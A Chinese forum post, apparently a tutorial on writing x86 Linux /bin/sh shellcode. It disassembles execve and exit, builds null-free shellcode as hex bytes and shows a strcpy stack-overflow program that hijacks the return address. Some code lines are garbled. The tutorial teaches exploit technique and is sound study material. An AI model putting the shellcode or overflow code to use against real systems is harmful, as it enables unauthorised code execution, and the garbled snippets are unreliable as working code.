- 论坛徽章:
- 0
|
一:shellcode基本算法分析 \r\n\r\n\r\n在程序中,执行一个shell的程序是这样写的: \r\n\r\nshellcode.c \r\n\r\n------------------------------------------------------------------------ \r\n\r\n\r\n\r\n \r\n\r\nvoid main() { \r\n\r\n char *name[2]; \r\n\r\n \r\n\r\n name[0] = \"/bin/sh\"; \r\n\r\n name[1] = NULL; \r\n\r\n execve(name[0], name, NULL); \r\n\r\n} \r\n\r\n------------------------------------------------------------------------ \r\n\r\nexecve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序 \r\n\r\n的argv(argv[n-1]=0)的指针数组作为第二个参数,以及(char*) 0作为第三个参数。 \r\n\r\n \r\n\r\n我们来看以看execve的汇编代码: \r\n\r\n[nkl10]$ gcc -o shellcode -static shellcode.c \r\n\r\n[nkl10]$ gdb shellcode \r\n\r\n(gdb) disassemble __execve \r\n\r\nDump of assembler code for function __execve: \r\n\r\n0x80002bc <__execve>;: pushl %ebp ; \r\n\r\n0x80002bd <__execve+1>;: movl %esp,%ebp \r\n\r\n ;上面是函数头。 \r\n\r\n0x80002bf <__execve+3>;: pushl %ebx \r\n\r\n ;保存ebx \r\n\r\n0x80002c0 <__execve+4>;: movl $0xb,%eax \r\n\r\n ;eax=0xb,eax指明第几号系统调用。 \r\n\r\n0x80002c5 <__execve+9>;: movl 0x8(%ebp),%ebx \r\n\r\n ;ebp+8是第一个参数\"/bin/sh\\0\" \r\n\r\n0x80002c8 <__execve+12>;: movl 0xc(%ebp),%ecx \r\n\r\n ;ebp+12是第二个参数name数组的地址 \r\n\r\n0x80002cb <__execve+15>;: movl 0x10(%ebp),%edx \r\n\r\n ;ebp+16是第三个参数空指针的地址。 \r\n\r\n ;name[2-1]内容为NULL,用来存放返回值。 \r\n\r\n0x80002ce <__execve+18>;: int $0x80 \r\n\r\n ;执行0xb号系统调用(execve) \r\n\r\n0x80002d0 <__execve+20>;: movl %eax,%edx \r\n\r\n ;下面是返回值的处理就没有用了。 \r\n\r\n0x80002d2 <__execve+22>;: testl %edx,%edx \r\n\r\n0x80002d4 <__execve+24>;: jnl 0x80002e6 <__execve+42>; \r\n\r\n0x80002d6 <__execve+26>;: negl %edx \r\n\r\n0x80002d8 <__execve+28>;: pushl %edx \r\n\r\n0x80002d9 <__execve+29>;: call 0x8001a34 \r\n\r\n<__normal_errno_location>; \r\n\r\n0x80002de <__execve+34>;: popl %edx \r\n\r\n0x80002df <__execve+35>;: movl %edx,(%eax) \r\n\r\n0x80002e1 <__execve+37>;: movl $0xffffffff,%eax \r\n\r\n0x80002e6 <__execve+42>;: popl %ebx \r\n\r\n0x80002e7 <__execve+43>;: movl %ebp,%esp \r\n\r\n0x80002e9 <__execve+45>;: popl %ebp \r\n\r\n0x80002ea <__execve+46>;: ret \r\n\r\n0x80002eb <__execve+47>;: nop \r\n\r\nEnd of assembler dump. \r\n\r\n \r\n\r\n经过以上的分析,可以得到如下的精简指令算法: \r\n\r\nmovl $execve的系统调用号,%eax \r\n\r\nmovl \"bin/sh\\0\"的地址,%ebx \r\n\r\nmovl name数组的地址,%ecx \r\n\r\nmovl name[n-1]的地址,%edx \r\n\r\nint $0x80 ;执行系统调用(execve) \r\n\r\n \r\n\r\n当execve执行成功后,程序shellcode就会退出,/bin/sh将作为子进程继续执行。可是, \r\n\r\n如果我们的execve执行失败,(比如没有/bin/sh这个文件),CPU就会继续执行后续的 \r\n\r\n指令,结果不知道跑到哪里去了。所以必须再执行一个exit()系统调用, \r\n\r\n结束shellcode.c的执行。 \r\n\r\n \r\n\r\n我们来看以看exit(0)的汇编代码: \r\n\r\n(gdb) disassemble _exit \r\n\r\nDump of assembler code for function _exit: \r\n\r\n0x800034c <_exit>;: pushl %ebp \r\n\r\n0x800034d <_exit+1>;: movl %esp,%ebp \r\n\r\n0x800034f <_exit+3>;: pushl %ebx \r\n\r\n0x8000350 <_exit+4>;: movl $0x1,%eax ;1号系统调用 \r\n\r\n0x8000355 <_exit+9>;: movl 0x8(%ebp),%ebx ;ebx为参数0 \r\n\r\n0x8000358 <_exit+12>;: int $0x80 ;引发系统调用 \r\n\r\n0x800035a <_exit+14>;: movl 0xfffffffc(%ebp),%ebx \r\n\r\n0x800035d <_exit+17>;: movl %ebp,%esp \r\n\r\n0x800035f <_exit+19>;: popl %ebp \r\n\r\n0x8000360 <_exit+20>;: ret \r\n\r\n0x8000361 <_exit+21>;: nop \r\n\r\n0x8000362 <_exit+22>;: nop \r\n\r\n0x8000363 <_exit+23>;: nop \r\n\r\nEnd of assembler dump. \r\n\r\n \r\n\r\n \r\n\r\n看来exit(0)〕的汇编代码更加简单: \r\n\r\nmovl $0x1,%eax ;1号系统调用 \r\n\r\nmovl 0,%ebx ;ebx为exit的参数0 \r\n\r\nint $0x80 ;引发系统调用 \r\n\r\n \r\n\r\n那么总结一下,合成的汇编代码为: \r\n\r\nmovl $execve的系统调用号,%eax \r\n\r\nmovl \"bin/sh\\0\"的地址,%ebx \r\n\r\nmovl name数组的地址,%ecx \r\n\r\nmovl name[n-1]的地址,%edx \r\n\r\nint $0x80 ;执行系统调用(execve) \r\n\r\nmovl $0x1,%eax ;1号系统调用 \r\n\r\nmovl 0,%ebx ;ebx为exit的参数0 \r\n\r\nint $0x80 ;执行系统调用(exit) \r\n\r\n \r\n\r\n二:实现一个shellcode \r\n\r\n \r\n\r\n好,我们来实现这个算法。首先我们必须有一个字符串“/bin/sh”,还得有一个name数组 \r\n\r\n。我们可以构造它们出来,可是,在shellcode中如何知道它们的地址呢?每一次程序都是 \r\n\r\n动态加载,字符串和name数组的地址都不是固定的。 \r\n\r\n \r\n\r\n通过JMP和call的结合,黑客们巧妙的解决了这个问题。 \r\n\r\n------------------------------------------------------------------------ \r\n\r\njmp call的偏移地址 # 2 bytes \r\n\r\npopl %esi # 1 byte //popl出来的是string的地址。 \r\n\r\nmovl %esi,array-offset(%esi) # 3 bytes //在string+8处构造 name数组, \r\n\r\n \r\n\r\n //name[0]放 string的地址 \r\n\r\n \r\n\r\nmovb $0x0,nullbyteoffset(%esi)# 4 bytes //string+7处放0作为string的结 \r\n\r\n尾。 \r\n\r\nmovl $0x0,null-offset(%esi) # 7 bytes //name[1]放0。 \r\n\r\nmovl $0xb,%eax # 5 bytes //eax=0xb是execve的syscall代码 \r\n\r\n。 \r\n\r\nmovl %esi,%ebx # 2 bytes //ebx=string的地址 \r\n\r\nleal array-offset,(%esi),%ecx # 3 bytes //ecx=name数组的开始地址 \r\n\r\nleal null-offset(%esi),%edx # 3 bytes //edx=name〔1]的地址 \r\n\r\nint $0x80 # 2 bytes //int 0x80是sys call \r\n\r\nmovl $0x1, %eax # 5 bytes //eax=0x1是exit的syscall代码 \r\n\r\nmovl $0x0, %ebx # 5 bytes //ebx=0是exit的返回值 \r\n\r\nint $0x80 # 2 bytes //int 0x80是sys call \r\n\r\ncall popl 的偏移地址 # 5 bytes //这里放call,string 的地址就会 \r\n\r\n作 \r\n\r\n //为返回地址压栈。 \r\n\r\n/bin/sh 字符串 \r\n\r\n------------------------------------------------------------------------ \r\n\r\n首先使用JMP相对地址来跳转到call,执行完call指令,字符串/bin/sh的地址将作为call的 \r\n\r\n返回地址压入堆栈。现在来到popl esi,把刚刚压入栈中的字符串地址取出来,就获得了 \r\n\r\n字符串的真实地址。然后,在字符串的第8个字节赋0,作为串的结尾。后面8个字节,构造 \r\n\r\nname数组(两个整数,八个字节)。 \r\n\r\n \r\n\r\n我们可以写shellcode了。先写出汇编源程序。 \r\n\r\nshellcodeasm.c \r\n\r\n------------------------------------------------------------------------ \r\n\r\nvoid main() { \r\n\r\n__asm__(\" \r\n\r\n jmp 0x2a # 3 bytes \r\n\r\n popl %esi # 1 byte \r\n\r\n movl %esi,0x8(%esi) # 3 bytes \r\n\r\n movb $0x0,0x7(%esi) # 4 bytes \r\n\r\n movl $0x0,0xc(%esi) # 7 bytes \r\n\r\n movl $0xb,%eax # 5 bytes \r\n\r\n movl %esi,%ebx # 2 bytes \r\n\r\n leal 0x8(%esi),%ecx # 3 bytes \r\n\r\n leal 0xc(%esi),%edx # 3 bytes \r\n\r\n int $0x80 # 2 bytes \r\n\r\n movl $0x1, %eax # 5 bytes \r\n\r\n movl $0x0, %ebx # 5 bytes \r\n\r\n int $0x80 # 2 bytes \r\n\r\n call -0x2f # 5 bytes \r\n\r\n .string \\\"/bin/sh\\\" # 8 bytes \r\n\r\n\" ; \r\n\r\n} \r\n\r\n------------------------------------------------------------------------ \r\n\r\n编译后,用gdb的 \r\n\r\nb/bx 〔地址〕 \r\n\r\n命令可以得到十六进制的表示。 \r\n\r\n下面,写出测试程序如下:(注意,这个test程序是测试shellcode的基本程序) \r\n\r\n \r\n\r\ntest.c \r\n\r\n------------------------------------------------------------------------ \r\n\r\n \r\n\r\nchar shellcode[] = \r\n\r\n \"\\xeb\\x2a\\x5e\\x89\\x76\\x08\\xc6\\x46\\x07\\x00\\xc7\\x46\\x0c\\x00\\x00\\x00\" \r\n\r\n \"\\x00\\xb8\\x0b\\x00\\x00\\x00\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\" \r\n\r\n \"\\xb8\\x01\\x00\\x00\\x00\\xbb\\x00\\x00\\x00\\x00\\xcd\\x80\\xe8\\xd1\\xff\\xff\" \r\n\r\n \"\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x00\\x89\\xec\\x5d\\xc3\"; \r\n\r\n \r\n\r\nvoid main() { \r\n\r\n int *ret; \r\n\r\n \r\n\r\n ret = (int *);ret + 2; //ret 等于main()的返回地址 \r\n\r\n //(+2是因为:有pushl ebp ,否则加1就可以了。) \r\n\r\n \r\n\r\n (*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地 \r\n\r\n址。 \r\n\r\n \r\n\r\n} \r\n\r\n \r\n\r\n------------------------------------------------------------------------ \r\n\r\n------------------------------------------------------------------------ \r\n\r\n[nkl10]$ gcc -o test test.c \r\n\r\n[nkl10]$ ./test \r\n\r\n$ exit \r\n\r\n[nkl10]$ \r\n\r\n------------------------------------------------------------------------ \r\n\r\n我们通过一个shellcode数组来存放shellcode,当我们把程序(test.c)的返回地址ret \r\n\r\n设置成shellcode数组的开始地址时,程序在返回的时候就会去执行我们的shellcode,从 \r\n\r\n而我们得到了一个shell。 \r\n\r\n \r\n\r\n运行结果,得到了bsh的提示符$,表明成功的开了一个shell。 \r\n\r\n \r\n\r\n这里有必要解释的是,我们把shellcode作为一个全局变量开在了数据段而不是作为一段 \r\n\r\n代码。是因为在操作系统中,程序代码段的内容是具有只读属性的。不能修改。而我们的 \r\n\r\n代码中movl %esi,0x8(%esi)等语句都修改了代码的一部分,所以不能放在代码段。 \r\n\r\n \r\n\r\n这个shellcode可以了吗?很遗憾,还差了一点。大家回想一下,在堆栈溢出中,关键在 \r\n\r\n于字符串数组的写越界。但是,gets,strcpy等字符串函数在处理字符串的时候,以\"\\0\" \r\n\r\n为字符串结尾。遇\\0就结束了写操作。而我们的shellcode串中有大量的\\0字符。因此, \r\n\r\n对于gets(name)来说,上面的shellcode是不可行的。我们的shellcode是不能有\\0字符 \r\n\r\n出现的。 \r\n\r\n \r\n\r\n因此,有些指令需要修改一下: \r\n\r\n 旧的指令 新的指令 \r\n\r\n -------------------------------------------------------- \r\n\r\n movb $0x0,0x7(%esi) xorl %eax,%eax \r\n\r\n molv $0x0,0xc(%esi) movb %eax,0x7(%esi) \r\n\r\n movl %eax,0xc(%esi) \r\n\r\n -------------------------------------------------------- \r\n\r\n movl $0xb,%eax movb $0xb,%al \r\n\r\n -------------------------------------------------------- \r\n\r\n movl $0x1, %eax xorl %ebx,%ebx \r\n\r\n movl $0x0, %ebx movl %ebx,%eax \r\n\r\n inc %eax \r\n\r\n -------------------------------------------------------- \r\n\r\n \r\n\r\n最后的shellcode为: \r\n\r\n------------------------------------------------------------------------ \r\n\r\nchar shellcode[]= \r\n\r\n00 \"\\xeb\\x1f\" /* jmp 0x1f */ \r\n\r\n02 \"\\x5e\" /* popl %esi */ \r\n\r\n03 \"\\x89\\x76\\x08\" /* movl %esi,0x8(%esi) */ \r\n\r\n06 \"\\x31\\xc0\" /* xorl %eax,%eax */ \r\n\r\n08 \"\\x88\\x46\\x07\" /* movb %eax,0x7(%esi) */ \r\n\r\n0b \"\\x89\\x46\\x0c\" /* movl %eax,0xc(%esi) */ \r\n\r\n0e \"\\xb0\\x0b\" /* movb $0xb,%al */ \r\n\r\n10 \"\\x89\\xf3\" /* movl %esi,%ebx */ \r\n\r\n12 \"\\x8d\\x4e\\x08\" /* leal 0x8(%esi),%ecx */ \r\n\r\n15 \"\\x8d\\x56\\x0c\" /* leal 0xc(%esi),%edx */ \r\n\r\n18 \"\\xcd\\x80\" /* int $0x80 */ \r\n\r\n1a \"\\x31\\xdb\" /* xorl %ebx,%ebx */ \r\n\r\n1c \"\\x89\\xd8\" /* movl %ebx,%eax */ \r\n\r\n1e \"\\x40\" /* inc %eax */ \r\n\r\n1f \"\\xcd\\x80\" /* int $0x80 */ \r\n\r\n21 \"\\xe8\\xdc\\xff\\xff\\xff\" /* call -0x24 */ \r\n\r\n26 \"/bin/sh\"; /* .string \\\"/bin/sh\\\" */ \r\n\r\n------------------------------------------------------------------------ \r\n\r\n \r\n\r\n三:利用堆栈溢出获得shell \r\n\r\n \r\n\r\n好了,现在我们已经制造了一次堆栈溢出,写好了一个shellcode。准备工作都已经作完, \r\n\r\n我们把二者结合起来,就写出一个利用堆栈溢出获得shell的程序。 \r\n\r\noverflow1.c \r\n\r\n------------------------------------------------------------------------ \r\n\r\nchar shellcode[] = \r\n\r\n \r\n\r\n\"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\" \r\n\r\n \r\n\r\n\"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\" \r\n\r\n \"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\"; \r\n\r\n \r\n\r\nchar large_string[128]; \r\n\r\n \r\n\r\nvoid main() { \r\n\r\n char buffer[96]; \r\n\r\n int i; \r\n\r\n long *long_ptr = (long *) large_string; \r\n\r\n \r\n\r\n for (i = 0; i < 32; i++) \r\n\r\n *(long_ptr + i) = (int) buffer; \r\n\r\n \r\n\r\n for (i = 0; i < strlen(shellcode); i++) \r\n\r\n large_string = shellcode; \r\n\r\n \r\n\r\n strcpy(buffer,large_string); \r\n\r\n} \r\n\r\n------------------------------------------------------------------------ \r\n\r\n在执行完strcpy后,堆栈内容如下所示: \r\n\r\n \r\n\r\n内存底部 内存顶部 \r\n\r\n buffer EBP ret \r\n\r\n\r\n\r\n<------ [SSS...SSSA ][A ][A ]A..A \r\n\r\n ^;buffer \r\n\r\n 栈顶部 堆栈底部 \r\n\r\n注:S表示shellcode。 \r\n\r\n A表示shellcode的地址。 \r\n\r\n \r\n\r\n这样,在执行完strcpy后,overflow。c将从ret取出A作为返回地址,从而执行了我们的 \r\n\r\nshellcode。 |
|